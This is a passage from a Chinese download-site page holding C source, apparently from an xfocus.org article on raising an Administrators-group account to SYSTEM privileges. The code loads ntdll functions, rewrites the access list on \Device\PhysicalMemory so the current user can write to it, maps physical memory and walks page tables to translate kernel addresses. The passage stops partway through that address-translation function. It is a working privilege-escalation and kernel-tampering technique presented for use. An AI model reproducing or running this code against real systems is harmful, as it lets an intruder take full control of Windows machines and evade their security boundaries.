⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 管理员组获取系统权限的完美解决方案.html

📁 里面收集的是发表在www.xfocus.org上的文章
💻 HTML
📖 第 1 页 / 共 5 页
字号:
&nbsp;&nbsp;&nbsp;&nbsp;SystemNotImplemented11,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemInvalidInfoClass2,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemInvalidInfoClass3,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemTimeZoneInformation,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemLookasideInformation,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemSetTimeSlipEvent,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemCreateSession,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemDeleteSession,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemInvalidInfoClass4,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemRangeStartInformation,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemVerifierInformation,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemAddVerifier,<br />
&nbsp;&nbsp;&nbsp;&nbsp;SystemSessionProcessesInformation<br />
} SYSTEM_INFORMATION_CLASS;<br />
<br />
typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION )<br />
(<br />
 IN SYSTEM_INFORMATION_CLASS SystemInformationClass,<br />
 IN OUT PVOID SystemInformation,<br />
 IN ULONG SystemInformationLength,<br />
 OUT PULONG ReturnLength OPTIONAL<br />
 );<br />
<br />
typedef NTSTATUS (CALLBACK* ZWOPENSECTION)(<br />
&nbsp;&nbsp;&nbsp;&nbsp;OUT PHANDLE&nbsp;&nbsp;SectionHandle,<br />
&nbsp;&nbsp;&nbsp;&nbsp;IN&nbsp;&nbsp;ACCESS_MASK&nbsp;&nbsp;DesiredAccess,<br />
&nbsp;&nbsp;&nbsp;&nbsp;IN&nbsp;&nbsp;POBJECT_ATTRIBUTES&nbsp;&nbsp;ObjectAttributes<br />
&nbsp;&nbsp;&nbsp;&nbsp;);<br />
<br />
typedef VOID (CALLBACK* RTLINITUNICODESTRING)(&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;IN OUT PUNICODE_STRING&nbsp;&nbsp;DestinationString,<br />
&nbsp;&nbsp;&nbsp;&nbsp;IN PCWSTR&nbsp;&nbsp;SourceString<br />
&nbsp;&nbsp;&nbsp;&nbsp;);<br />
<br />
typedef struct _SYSTEM_HANDLE_INFORMATION<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;ULONG&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ProcessId;<br />
&nbsp;&nbsp;&nbsp;&nbsp;UCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ObjectTypeNumber;<br />
&nbsp;&nbsp;&nbsp;&nbsp;UCHAR&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Flags;<br />
&nbsp;&nbsp;&nbsp;&nbsp;USHORT&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Handle;<br />
&nbsp;&nbsp;&nbsp;&nbsp;PVOID&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Object;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ACCESS_MASK&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;GrantedAccess;<br />
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;<br />
<br />
RTLINITUNICODESTRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RtlInitUnicodeString;<br />
ZWOPENSECTION&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ZwOpenSection;<br />
ZWQUERYSYSTEMINFORMATION&nbsp;&nbsp;&nbsp;&nbsp;ZwQuerySystemInformation = NULL;<br />
HMODULE&nbsp;&nbsp;&nbsp;&nbsp;g_hNtDLL = NULL;<br />
PVOID&nbsp;&nbsp;&nbsp;&nbsp; g_pMapPhysicalMemory = NULL;<br />
HANDLE&nbsp;&nbsp;&nbsp;&nbsp; g_hMPM&nbsp;&nbsp;&nbsp;&nbsp; = NULL;<br />
<br />
BOOL InitNTDLL()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;g_hNtDLL = LoadLibrary( &quot;ntdll.dll&quot; );<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ( !g_hNtDLL )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;RtlInitUnicodeString =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, &quot;RtlInitUnicodeString&quot;);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZwOpenSection =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;(ZWOPENSECTION)GetProcAddress( g_hNtDLL, &quot;ZwOpenSection&quot;);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZwQuerySystemInformation =<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, &quot;ZwQuerySystemInformation&quot; );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZwQuerySystemInformation = <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, &quot;ZwQuerySystemInformation&quot; );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return TRUE;<br />
}<br />
<br />
VOID CloseNTDLL()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(g_hNtDLL != NULL)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(g_hNtDLL);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
}<br />
<br />
VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection)<br />
{<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;PACL pDacl=NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;PACL pNewDacl=NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;PSECURITY_DESCRIPTOR pSD=NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwRes;<br />
&nbsp;&nbsp;&nbsp;&nbsp;EXPLICIT_ACCESS ea;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;NULL,NULL,&amp;pDacl,NULL,&amp;pSD)!=ERROR_SUCCESS)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto CleanUp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;ZeroMemory(&amp;ea, sizeof(EXPLICIT_ACCESS));<br />
&nbsp;&nbsp;&nbsp;&nbsp;ea.grfAccessPermissions = SECTION_MAP_WRITE;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ea.grfAccessMode = GRANT_ACCESS;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ea.grfInheritance= NO_INHERITANCE;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ea.Trustee.TrusteeForm = TRUSTEE_IS_NAME;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ea.Trustee.TrusteeType = TRUSTEE_IS_USER;<br />
&nbsp;&nbsp;&nbsp;&nbsp;ea.Trustee.ptstrName = &quot;CURRENT_USER&quot;;<br />
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(dwRes=SetEntriesInAcl(1,&amp;ea,pDacl,&amp;pNewDacl)!=ERROR_SUCCESS)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto CleanUp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!=ERROR_SUCCESS)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;goto CleanUp;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
CleanUp:<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(pSD)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LocalFree(pSD);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(pNewDacl)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;LocalFree(pNewDacl);<br />
}<br />
<br />
HANDLE OpenPhysicalMemory()<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;NTSTATUS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status;<br />
&nbsp;&nbsp;&nbsp;&nbsp;UNICODE_STRING&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;physmemString;<br />
&nbsp;&nbsp;&nbsp;&nbsp;OBJECT_ATTRIBUTES&nbsp;&nbsp;&nbsp;&nbsp;attributes;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;RtlInitUnicodeString( &amp;physmemString, L&quot;\\Device\\PhysicalMemory&quot; );<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;attributes.Length&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= sizeof(OBJECT_ATTRIBUTES);<br />
&nbsp;&nbsp;&nbsp;&nbsp;attributes.RootDirectory&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;attributes.ObjectName&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= &amp;physmemString;<br />
&nbsp;&nbsp;&nbsp;&nbsp;attributes.Attributes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;attributes.SecurityDescriptor&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;= NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;attributes.SecurityQualityOfService&nbsp;&nbsp;&nbsp;&nbsp;= NULL;<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;status = ZwOpenSection(&amp;g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&amp;attributes);<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(status == STATUS_ACCESS_DENIED){<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status = ZwOpenSection(&amp;g_hMPM,READ_CONTROL|WRITE_DAC,&amp;attributes);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;SetPhyscialMemorySectionCanBeWrited(g_hMPM);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;CloseHandle(g_hMPM);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;status =ZwOpenSection(&amp;g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&amp;attributes);<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;if( !NT_SUCCESS( status ))<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;g_pMapPhysicalMemory = MapViewOfFile(<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;g_hMPM,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x30000,<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0x1000);<br />
&nbsp;&nbsp;&nbsp;&nbsp;if( g_pMapPhysicalMemory == NULL )<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return NULL;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;return g_hMPM;<br />
}<br />
<br />
PVOID LinearToPhys(PULONG BaseAddress,PVOID addr)<br />
{<br />
&nbsp;&nbsp;&nbsp;&nbsp;ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;if(VAddr&gt;=0x80000000 &amp;&amp; VAddr&lt;0xa0000000)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PAddr=VAddr-0x80000000;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return (PVOID)PAddr;<br />
&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;PGDE=BaseAddress[VAddr&gt;&gt;22];<br />
&nbsp;&nbsp;&nbsp;&nbsp;if ((PGDE&amp;1)!=0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ULONG tmp=PGDE&amp;0x00000080;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (tmp!=0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PAddr=(PGDE&amp;0xFFC00000)+(VAddr&amp;0x003FFFFF);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE &amp; 0xfffff000, 0x1000);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PTE=((PULONG)PGDE)[(VAddr&amp;0x003FF000)&gt;&gt;12];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if ((PTE&amp;1)!=0)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;PAddr=(PTE&amp;0xFFFFF000)+(VAddr&amp;0x00000FFF);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;UnmapViewOfFile((PVOID)PGDE);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else return 0;<br />

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -